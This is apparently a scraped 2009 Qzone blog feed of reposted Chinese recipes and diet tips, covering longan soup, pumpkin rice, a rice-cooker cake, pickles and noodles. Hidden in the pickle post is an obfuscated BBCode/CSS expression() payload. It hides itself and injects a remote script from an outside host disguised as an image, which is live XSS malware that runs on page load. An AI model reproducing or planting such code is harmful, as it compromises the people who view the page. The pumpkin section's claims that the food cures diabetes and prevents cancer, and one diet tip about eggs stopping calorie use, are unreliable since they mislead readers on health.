大乌圆、96106、白核龙眼、扁匣榛、北干焦、赤壳、储良、东壁、大鼻龙、古山2号、油潭本、立冬本、苗翘、普明庵、青壳宝元、双木、水涨、乌龙岭、血丝龙眼、石峡、福眼、储良、广眼。

桂圆：又名龙眼，营养丰富，含有各种糖类及维生素。〔性味〕性温、味甘。入心、脾经。

〔功能〕①补心脾，治脾虚泄泻、虚肿；②补气血；③安神，治失眠、健忘、惊悸。

〔宜〕适宜于老年人、产后体虚、气血不足或营养不良、贫血之人食用；也适合神经衰弱及其引起的健忘、记忆力下降、失眠等。

〔忌〕因其食性温润而滞，素有痰湿、胃火及风热袭肺者不宜用；热体体质、阴虚火旺、糖尿病、痛疽疔疮、月经过多、尿道炎、盆腔炎等各种炎症及舌苔厚腻者忌食。小儿及青少年均不宜多食。

做法：

材料：桂圆8颗 红枣10颗 莲子二十颗 银耳三朵 红糖1汤匙（15克）清水1000毫升（1升）
步骤：
1）银耳泡发，去除黄根，莲子泡发。

2）将桂圆肉，红枣，莲子，银耳用清水洗净，一起放入锅中，倒入1000毫升的清水，大火煮开后调成小火，继续炖煮20分钟。

3）煮好后，趁热加入红糖搅匀即可食用 ]]> http://77462229.qzone.qq.com/blog/1258109591#comment 134218241 Fri, 13 Nov 2009 10:53:11 GMT http://77462229.qzone.qq.com/blog/1258109591 <![CDATA[阳光颜色的米饭--南瓜拌饭]]> http://77462229.qzone.qq.com/blog/1258104862
南瓜知识介绍：Pumpkin南瓜属于葫芦科一年生蔓生草本植物的一种，其野生祖先原产于墨西哥、危地马拉一带，很早就传入我国，广泛栽种、食用，因而有“中国南瓜”之说。
南瓜的果肉和种子均可食用，花也可以食用。在我国，南瓜既当菜又代粮，在农村很有人缘。近年来，人们发现南瓜不但可以充饥，而且还有一定的食疗价值，于是土味十足的南瓜得以登大雅之堂。
南瓜营养分析：1. 解毒：
内含有维生素和果胶，果胶有很好的吸附性，能粘结和消除体内细菌毒素和其他有害物质，如重金属中的铅、汞和放射性元素，能起到解毒作用；
2. 保护胃粘膜、帮助消化：
南瓜所含果胶还可以保护胃胶道粘膜，免受粗糙食品刺激，促进溃疡愈合，适宜于胃病患者。南瓜所含成分能促进胆汁分泌，加强胃肠蠕动，帮助食物消化；
3. 防治糖尿病、降低血糖：
南瓜含有丰富的钴，钴能活跃人体的新陈代谢，促进造血功能，并参与人体内维生素B12的合成，是人体胰岛细胞所必需的微量元素，对防治糖尿病、降低血糖有特殊的疗效；
4. 消除致癌物质：
南瓜能消除致癌物质亚硝胺的突变作用，有防癌功效，并能帮助肝、肾功能的恢复，增强肝、肾细胞的再生能力；
5. 促进生长发育：
南瓜中含有丰富的锌，参与人体内核酸、蛋白质的合成，是肾上腺皮质激素的固有成分，为人体生长发育的重要物质。
南瓜适合人群：一般人群均可食用
1. 尤其适宜肥胖者、糖尿病患者和中老年人食用；
2. 南瓜性温，胃热炽盛者、气滞中满者、湿热气滞者少吃；同时患有脚气、黄疸、气滞湿阻病者忌食。
南瓜食疗作用：南瓜味甘、性温，入脾，胃经；
具有补中益气，消炎止痛，解毒杀虫，降糖止渴的功效；
主治久病气虚、脾胃虚弱、气短倦怠、便溏、糖尿病、蛔虫等病症。

材料：大米200G、南瓜100G、黄瓜半根、橄榄油10ML、盐3G

做法：1、南瓜去皮洗净，切片碎粒。黄瓜去皮洗净切碎备用。

2、大米淘洗干净，倒入电饭煲，倒入清水（米到水位的距离：没到食指的第一关节处），盖上盖煮沸后加入南瓜粒，再盖上盖至煮熟。

3、在煮熟的米饭中放入黄瓜粒，橄榄油，盐搅拌均匀即可。

]]> http://77462229.qzone.qq.com/blog/1258104862#comment 134218241 Fri, 13 Nov 2009 09:34:22 GMT http://77462229.qzone.qq.com/blog/1258104862 <![CDATA[[转]电饭锅做蛋糕原来如此简单！！]]> http://77462229.qzone.qq.com/blog/1257387078 鉴于很多朋友问我怎样用电饭锅做蛋糕，所以看到别人空间有就转过来和大家分享啦~~
甜点会让人快乐，希望大家可以享受制作美食的过程~~



准备好材料：面粉，鸡蛋，牛奶，盐，糖，油

注意：这个过程不能沾一滴水，器皿都擦干再用哦。



按量打蛋，在这里我用了4个，蛋清分离



三根筷子准备打蛋清



打两下就这样了



为了突出甜，放一点点盐



一勺糖



继续打继续打继续打
有点稠时再放一勺糖，继续打



大约15分钟后，就会变成奶油状，而且筷子上的不会掉下来
这个过程比较关键，15分钟连续打，不是闹着玩的，很痛苦滴



蛋黄里放两勺糖



3勺冒尖的面粉



6勺牛奶



搅拌好



倒入一半奶油状的蛋清
注意：上下搅拌而不是打圈



搅拌均匀后再倒入另一半奶油状蛋清，上下搅拌好



电饭煲按下煮饭健预热1分钟后拿出，锅有点热就可以
倒入少许油，均匀涂在锅内，以防粘锅



倒入搅拌好的东西，然后蹲几下锅，把气泡震出来



按下煮饭键，2分钟左右会自动跳到保温档，这时用毛巾捂住通风口，闷20分钟
然后再按下煮饭键，20分钟后就OK啦



开盖咯



锅内涂了油，一倒就出来啦，蛋糕底部颜色比较深
松软可口的蛋糕，大功告成啦！掌声响起来
]]> http://77462229.qzone.qq.com/blog/1257387078#comment 1033 Thu, 05 Nov 2009 02:11:18 GMT http://77462229.qzone.qq.com/blog/1257387078 <![CDATA[[转]12种朝鲜咸菜的腌制方法]]> http://77462229.qzone.qq.com/blog/1256777734
（一）1朝鲜辣白菜-----原料配方大白菜50千克盐250克生姜50克大蒜1千克白梨500克辣椒面250克香菜籽白糖味精适量
制作方法 1.选棵大、芯实的大白菜，去老帮，削去青叶，去根，用清水洗三遍，然后整齐地放入坛中。
2.烧盐开水，晾凉倒入装白菜的坛中(把白菜淹没为止)。腌3～4天，将白菜取出，再用清水洗两遍，控干水。
3.先把生姜、大蒜剁成泥，然后与盐、香菜籽、辣椒面一起拌成泥，取出，放少量水和味精一起再搅拌均匀。梨削皮，横切成大片，备用。
4.把调料均匀地抹在每一片白菜叶上，整齐地码在腌菜坛内，每放几层，铺一层白梨片。
5.将剩余的调料和适量的水，放入少许盐，味调淡些，3天之后倒入坛中，使水的高度为20厘米左右。放地窑里，20天左右即可食用。
（二）朝鲜泡菜------原料配方大白菜5000克苹果250克梨250克白萝卜500克牛肉清汤1500克葱250克大蒜250克精盐150克辣椒面150克味精50克
制作方法
1.将白菜去除根和老帮后，用清水洗净，沥干水分，用刀切成4瓣，放入盆内，撒上盐腌4～5小时；萝卜去根、须、皮，切成薄片，用盐腌一下；苹果去皮，切成片；葱切碎，蒜捣成泥。
2.将腌渍好的白菜、萝卜沥去腌水，装入坛内，再把苹果、梨、牛肉汤等所有调料混在一起浇到白菜上，卤汁要淹没白菜，上面用一干净重物压紧，使菜下沉。时间可根据季节而定，夏季一般1～2天；冬天一般为3～4天即可取出食用。
产品特点色泽鲜艳，酸辣脆嫩，清爽可口，具有浓厚的地方特色。

（三）雪里蕻的腌制新法 ------1、取15公斤雪里蕻，0.5公斤食盐，5-7头蒜，50克花椒，2个红辣椒。将雪里蕻用清水洗净，削去根部，去掉黄叶，放在通风处阴干，至整个雪里蕻叶子有点发蔫为好。将雪里蕻切成约1厘米小段，放在盆里待用。
　　2、把蒜、姜、辣椒切成细末，连同花椒、盐一同放在装雪里蕻的盆里搅拌均匀，然后用手揉搓至雪里蕻发蔫为止。将拌好的雪里蕻装坛，装10厘米高便压紧、捣实，至微微出水，再压紧捣实，陆续装完为止。
　　3、雪里蕻全部装好以后，用塑料布将坛口严密封好，放在阴凉的地方，大约20天即可食用。用此种方法腌制的雪里蕻，吃起来清新爽口，香脆中带麻辣，别有一番风味。
　　为了保持雪里蕻鲜嫩不坏，在取菜的时候最好用一双专用的筷子，不能有一点油迹，取完菜后把坛口封好。

（四）蘑菇泡菜 ------1.配料：鲜菇20kg，卷心菜、芹菜、莴苣、胡萝卜、青椒各4kg，生姜、白酒、花椒各0.5kg，白糖适量。
2.原料预处理：将蘑菇、蔬菜用清水洗净沥干，芹菜去叶后切成2～3cm长的小段，其它菜切成5～6cm长的条。
3.泡菜水：泡菜水以盐水为好（可保脆）。每10kg水加盐800g，煮沸后离火冷却待用。为了加快泡制速度，可在新配制的泡菜水中加入少量的品质良好的陈泡菜水。
4.泡制：将蘑菇及切好的蔬菜和花椒、白酒、生姜、白糖等拌匀，投入洗净的泡菜坛内，倒入泡菜水，加盖后在坛顶水槽内加满清水封口。密封后经发酵10～15天，即可取出食用。食用时可凉拌，也可加佐料烹炒。
（五）糖醋辣白菜------主料：白菜配料：香菜、干红辣椒丝、豆油、盐、陈醋、味精、葱姜丝各适量
制作方法(1)坐勺，加底油烧热，用葱姜丝炝锅，再放入辣椒丝炸一下
(2)锅内放白糖，添适量汤烧开，点味精，稍晾凉，浇在白菜盆内拌匀，放在阴凉处腌2个小时，撒上香菜段即可
六）酸辣白菜丝------主料：白菜 配料：干红辣椒、盐、醋、白糖
制作方法：(1)将白菜丝、辣椒丝分别用开水焯2分钟，捞出控净水。
(2)取盆。在盆里铺一层白菜丝，撒少许精盐，再撒一些辣椒丝，淋点醋，撒一些白糖，这样一层一层地铺好，将盆盖严，30分钟后，即可食用

（七）腌酸辣萝卜------主料：白萝卜5公斤 配料：辣椒粉30克、食醋0.8公斤，白糖200克，食盐175克，香油100克、花椒大料各10克，味精适量，水2公斤。
制作方法：先将白萝卜择选干净，然后加工成3厘米长宽、厚各1厘米的条，晾晒至八成干备用。香油烧热，加入辣椒粉炸至微黄时倒入萝卜干内拌匀。将食盐，白糖，花椒，大料放入锅内加水熬开，加入味精待凉后倒入缸内，与萝卜干拌匀，每天翻动一次15天后即成成品
（八）酸辣萝卜条------主料：大萝卜或青萝卜 配料：干红辣椒精盐花椒粒各适量。
制作方法：将缸刷干将，擦干，将萝卜条与辣椒丝拌匀，放入缸内，放入食盐水，(500克清水加50克盐，溶开，)没过萝卜条，再撒些花椒粒，将大缸放在温暖处，大约15天左右可食、

（九）甜辣小黄瓜------主料：鲜黄瓜10公斤 配料：盐2公斤，酱油3公斤，白糖2公斤，糖适量，干辣椒丝200克，生姜丝50克，味精20克，芝麻100克。
制作方法：选择鲜嫩的黄瓜洗净，一层瓜一层盐，入缸腌渍。第二天倒缸一次，对少量18度盐水，以后每天倒缸一次，连倒6次。20天后可以腌透。将腌后的黄瓜取出，用清水浸泡1天，中间换两次水，然后压出水分，使黄瓜只含淡淡的咸味，再放入酱油、白糖、辣椒丝、味精等调料混合液中浸泡，每天翻拌两次，两天的捞出，拌入熟芝麻。
（十）腌蒜茄子------主料：嫩小茄子1000克，用水洗净后放放笼锅蒸熟，取出晾凉待用。把大蒜剥去皮用刀拍一下，放入蒜罐里捣碎，加盐，味精调拌均匀。把蒸好的茄子从中间撕成两半，中间抹上调制均匀的蒜泥。然后摆放在盆里或坛里，放在冰箱里。
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://77462229.qzone.qq.com/blog/1256777734#comment 521 Thu, 29 Oct 2009 00:55:34 GMT http://77462229.qzone.qq.com/blog/1256777734 <![CDATA[[转]八个小诀窍 吃的饱又减肥]]> http://77462229.qzone.qq.com/blog/1256777697
　要减肥，给你8个诀窍，让你吃的饱饱的还能拥有好身材!节食的时候，您再也不会感到权利被剥夺了!以下的八个小窍门将会告诉您如何吃得又少又满足!

　　减肥窍门在于你怎么吃

　　吃鸡蛋当早餐

　　调查发现每天早上吃两个鸡蛋，那么一整天都不会消耗您身体其他热量了。

　　把蛋黄和蛋白搅混，加上四分之一杯的红豆和番茄酱，搅匀后，这个低热量的满腹感食物就完成了。

　　在吃午餐或晚餐之前先吃蔬菜

　　蔬菜富含水分，因而只会增加重量但并不增加热量。而且，吃蔬菜需要更长时间的咀嚼，令您的大脑感觉您已经吃了很长时间了，因而感觉饱了。

　善用视觉效果

　　要使用小碟子、小碗和小高跟玻璃杯。把你的餐具全部换成小一号的，这样您不仅能控制食量，还感到吃得满足。

　　严格遵守用餐时间

　　如果您在工作日里都有固定的早餐和午餐时间，那么请保证，在周六、日您也在相同的时间段食用早餐和午餐。切记!在周六、日不吃早餐或午餐或者延迟用餐时间，只会增加您的饥饿感，使您在不知不觉中吃了过量的食物。

　　先喝汤

　　要饮用蔬菜汤，不要饮用油腻的汤。蔬菜中的纤维素完全渗透在汤中，饮用后，纤维素能占据您胃部的大量位置从而使您有腹饱感。

　　注重蛋白质的吸收

　　先吃海鲜和瘦牛肉片，然后食用鸡肉，拒绝吃米饭和面食。米饭和面食含较高的热量，而热量消耗快，只有蛋白质才真正能为您提供持久能量。

　　控制喝酒

　　强迫自己必须在上菜后才点酒精类饮品。这样您就能轻松减少热量的摄入。您可以通过在餐前或用餐过程中饮用少量的水、苏打水或不含酒精的饮料，来减少餐后喝酒的量。

　　沉醉甜点

　　没错!您绝对没有看错!但是必须得有一点小窍门：您必须跟您的同席进餐者分享，其次就是，您必须控制食量，保证每次只能吃几口，绝对不能贪吃!知道吗?小口小口地吃甜点能使您获得大大的满足感! ]]> http://77462229.qzone.qq.com/blog/1256777697#comment 134217736 Thu, 29 Oct 2009 00:54:57 GMT http://77462229.qzone.qq.com/blog/1256777697 <![CDATA[[转]在家适合做的五十一道家常菜]]> http://77462229.qzone.qq.com/blog/1256777660 （点击每个菜的菜名，可以查看具体过程）

可乐鸡翅 脆皮豆腐 蒜蓉娃娃菜 鲫鱼豆腐汤 梅干菜烧肉 四季豆炒肉丝 蒜苔炒肉丝 豇豆炒肉丝 茭白肉丝 豆豉鸡翅 红烧青鱼段 鸭肫炒青椒 牛肚炒大蒜 香菇排骨 盐水对虾 莴笋烧肉 腐竹烧肉 蚝油牛肉 洋葱炒鸡蛋 青椒肉丝 百合鱼片 排骨萝卜汤 蚝油生菜 酸辣土豆丝 茄子西红柿 鱿鱼炒洋葱 大白菜烧藕丸子 木耳鱼丸 黄花菜炒鸡蛋 糖醋炸香骨 咖喱土豆牛肉 面筋青椒 毛豆鸡丁 红烧鲳扁鱼 干煸四季豆 毛豆烧鸡块 爆炒腰花 爆炒圆白菜 黄豆猪蹄 鱼香肉丝 西红柿炒鸡蛋 面筋包塞肉 花菜烧肉 糖醋带鱼 紫菜蛋汤 红烧茄子 红烧豆腐虾仁 青菜榨菜肉丝汤 豆腐金针菇汤 平菇鱼丸汤 皮蛋黄瓜汤 ]]> http://77462229.qzone.qq.com/blog/1256777660#comment 1033 Thu, 29 Oct 2009 00:54:20 GMT http://77462229.qzone.qq.com/blog/1256777660 <![CDATA[[转]十种面条的做法：]]> http://77462229.qzone.qq.com/blog/1256777607
　　面条其实是我们日常生活中最节省时间和省事的填饱肚子的主食,面条的吃法也数不胜数，今天就为大家介绍一下这10种面条DIY，在您空闲的时候可以慢慢品味并感受感受。
　　1、炸酱面

　　材料：
　　六必居的干黄酱1袋、天园酱园的甜面酱半袋（剩下半袋可以做中式沙拉，蘸萝卜，生菜吃），鸡蛋2个，肥瘦肉丁（去皮）100g，五花肉切成半厘米见方的小丁。各种菜码越多月好，黄瓜和豆芽还有俗称心里美的萝卜以及黄豆是不可少的，别的大白菜心、青豆、豆腐干、豆角丝就看着准备吧。当然生大蒜也是必不可少的，夏天吃着杀菌，还有大葱、姜末。
　　做法：
　　1、鸡蛋打散加入淀粉（鸡蛋会比较嫩，淀粉1汤匙）和一点点料酒（去蛋腥1茶匙）和盐，油热之后，炒鸡蛋有个秘诀，就是用筷子，可以炒散而且每块鸡蛋都受热均匀，下锅，拿筷子在锅内迅速搅散，鸡蛋变黄熟了盛出来待用。
　　2、油锅少放一点油，油热之后中火煸炒五花肉丁，待猪油出，加一点点料酒去腥，再加一些生抽，然后将肉丁盛出。
　　3、锅内留着煸肉的猪油，用一个碗把黄酱和面酱混合均匀，中火将酱炒一下，这样酱才香。
　　4、酱出香味了，然后倒入肉丁或者鸡蛋丁，姜末(切特细)，转小火，慢慢的熬，酱和肉丁水乳交融，那才好吃，不用再加盐和糖，酱有自己的咸甜味，咕嘟个10分钟查不多，得看着，不是搅和会，如果觉得　干了，就少少加点水。
　　5、这时候可以准备菜码，买一个那种菜擦子挺好，我也切不出特细的丝，黄瓜，萝卜什么的擦成丝之后，凉水里面泡一下，然后沥干水，这样菜丝比较爽脆，洋派的加点生菜丝、甘蓝丝啥的也行。
　　6、豆芽、扁豆(切丝)、黄豆、青豆什么的开水过一下断生，泡冷水即可。
　　7、酱咕嘟好了，看着干干的收了汁，离火加入葱白末，早加葱末就焦了，利用余温将葱白焖熟。酱就得了。
　　8、接下来就是面了，炸酱面当然最好是手擀面，不过估计大家现在都没这个精神头了，切面铺子有那种手擀面，粗的那种比较好吃，裹着黄黄的玉米面，个把讲究的，那种冰冻面条也不错。煮面的水要比较多，放一些盐，这样面煮的时候不会粘连在一起，面不要煮的太烂，点3次水就差不多了，有一点点生，有咬劲最好吃，面条煮好了，开冷水，冲掉面糊，这样才爽滑好吃。面煮好了，拌上2大勺香喷喷油油的炸酱，不要太贪心了，会很咸，放入各种菜码，没有四合院了，咱蹲凉台上，望着楼下的车河闪烁，再来一头蒜，人生得意就是大吃大喝纵情一刻吧。
2、西红柿鸡蛋面

　　材料：
　　面条、西红柿、鸡蛋、盐、味精、香油、老姜片
　　做法：
　　1、两个西红柿洗净切片，两个鸡蛋捣碎，蛋液里加盐，一块老姜片切碎；
　　2、锅内放油，油热将蛋液倒入炒成蛋花，盛出；
　　3、另放油，油热爆香姜碎，将西红柿倒入翻炒，待西红柿出水了将蛋花倒入同炒一会（可以加一点点白砂糖，如果你嫌西红柿味太酸的话，但是只加一点点）；
　　4、然后加水煮入味（水可以比做汤的时候稍多一些）。大概可以煮上五分钟吧，然后盛出倒在面碗里，加盐（盐要多一些），味精，香油。
　　5、另起一锅放水煮面，面好即盛入装有西红柿汤的面碗，撒上香菜，香喷喷~~
3、茄子面

　　材料：
　　茄子1个，青椒1／2个，素肉20克，拉面1束（约120克）
　　做法：
　　1、茄子洗净，切丁，青椒去籽，洗净，切丁，素肉泡软，切碎。
　　2、水烧开，放入面条煮熟捞出，放入面碗中。
　　3、先烧热半杯油，将茄子炸软捞出，顺便将青椒过一下捞出，再将油倒开，然后加入其他调味料和素肉末周炒。
　　4、加入茄子和青椒，炒匀盛出，浇在面条上食用。
　　好吃秘诀
　　1 茄子切丁后，最好用盐水过一下，炸好颜色比较漂亮，油温高一点较不会吸入太多油。
　　2 茄子和青椒烧太久颜色不好看，所以不要太早拌入。
4、打卤面

　　材料：
　　黄花，木耳，香菇，大葱，鸡蛋
　　做法：1、香菇木耳黄花泡发；
　　2、锅底放油下肉馅炒熟加入葱花香菇，加酱油料酒糖盐，再加木耳黄花鸡精，加适量水同煮；
　　3、淋入打散的蛋液，勾芡撒葱花蒜末。
　5、担担面

　　村料：面条200克，猪肉馅400克，芽菜100克，大葱末25克，姜末10克，蒜茸10克，辣椒面1.5克，芝麻酱10克，油菜心1棵，香菜少许。
　　调料：老抽，生抽，料酒，米醋，高汤，花椒面，猪油，香油。
　　做法：
　　1、锅热后，倒入猪肉馅炒散待用。
　　2、用猪油将葱、姜、蒜爆香，再放入辣椒面、芽菜、肉末煸炒，加料酒、老抽、生抽、米醋，点少许高汤，出锅时放入芝麻酱、花椒面炒匀。
　　3、开水下锅将面条煮熟，捞入碗中。油菜心焯熟待用。
6、红烧牛肉面

　　材料：
　　牛肉500克，面条500克，小白菜250克，水10杯，葱4根，姜2片，大蒜8粒，八角4粒，辣椒1根；酱油1杯、水6杯、酒1汤匙、辣豆瓣酱1大匙，麻油少许。
　　做法：
　　1、牛肉洗净切块，氽烫去血水。
　　2、起油锅，炒香葱、姜、葱段、八角、辣椒、牛肉，加入酱油1杯、水6杯、酒1汤匙、辣豆瓣酱1大匙，用中火煮约1小时。
　　3、水烧开，煮熟面条捞出，再烫熟小白菜。
　　4、碗中放入麻油少许、葱花、牛肉汤，加入面条、青菜、牛肉即可。
　　特点：
　　香喷喷，好吃看得见。
7、鸡丝凉面

　　材料：
　　白斩鸡数块、面条、黄瓜、芝麻酱、麻油、糖各1大匙、酱油2大匙、辣椒粉适量
　　做法：
　　1、面条煮熟，捞出，放入冷水中冲凉，平铺在餐盘中；
　　2、白斩鸡切丝，黄瓜洗净、切丝，均放在煮好的面条上；
　　3、芝麻酱放入碗中加入麻油搅匀，再加入酱油、糖及2大匙冷开水稀释，淋在鸡丝凉面上即可。
8、麻酱面

　　材料：
　　切面150克， 麻酱一大匙，葱花一中匙，精盐半小匙，味精半小匙，熟色拉油一中匙，沸水500克。
　　做法：
　　1、取一汤碗，倒入沸水，将切面投入，高火5分钟；
　　2、将面放入有调料的碗中拌和即可。
9、虾仁丸子汤面

　　特点：含丰富蛋白质。
　　主料：黄瓜 1/4根、虾仁 4只、肉馅 1勺、姜 1片、荞麦面 25克。
　　辅料：盐、淀粉。
　　作法：
　　1、将虾仁清洗干净，加少许料酒和盐搅拌均匀后再用水冲洗。
　　2、将虾仁剁碎，加适量的盐、淀粉，顺时针方向搅成泥状，再用手抓成小球型。
　　3、在肉馅中也加入适量的盐、淀粉，顺时针方向搅拌成泥状，抓成球型待用。
　　4、将荞麦面煮熟在碗中备用。
　　5、将虾球、肉馅球、黑木耳、黄瓜片、姜片一起放入沸水中煮熟，再加少量盐调味。
　　6、将汤和菜料放入面碗中即可。
10、榨菜肉丝面

　　材料：
　　瘦肉150克、榨菜半个、葱2根、拉面酌量、料酒半大匙、酱油半大匙、湿淀粉半大匙
　　做法：
　　1、瘦肉切丝，拌入调味料，腌10分钟，榨菜切丝后先泡水20分钟以去除咸味。葱切葱花。
　　2、用3大匙油先将肉丝炒散，再放入榨菜肉丝同炒，炒匀后盛出。
　　3、另用半锅水烧开，放入面条煮熟。
　　4、将调味料放面碗内，盛入面条，铺少许炒好的榨菜肉丝并撒葱花少许即成。
]]> http://77462229.qzone.qq.com/blog/1256777607#comment 134218249 Thu, 29 Oct 2009 00:53:27 GMT http://77462229.qzone.qq.com/blog/1256777607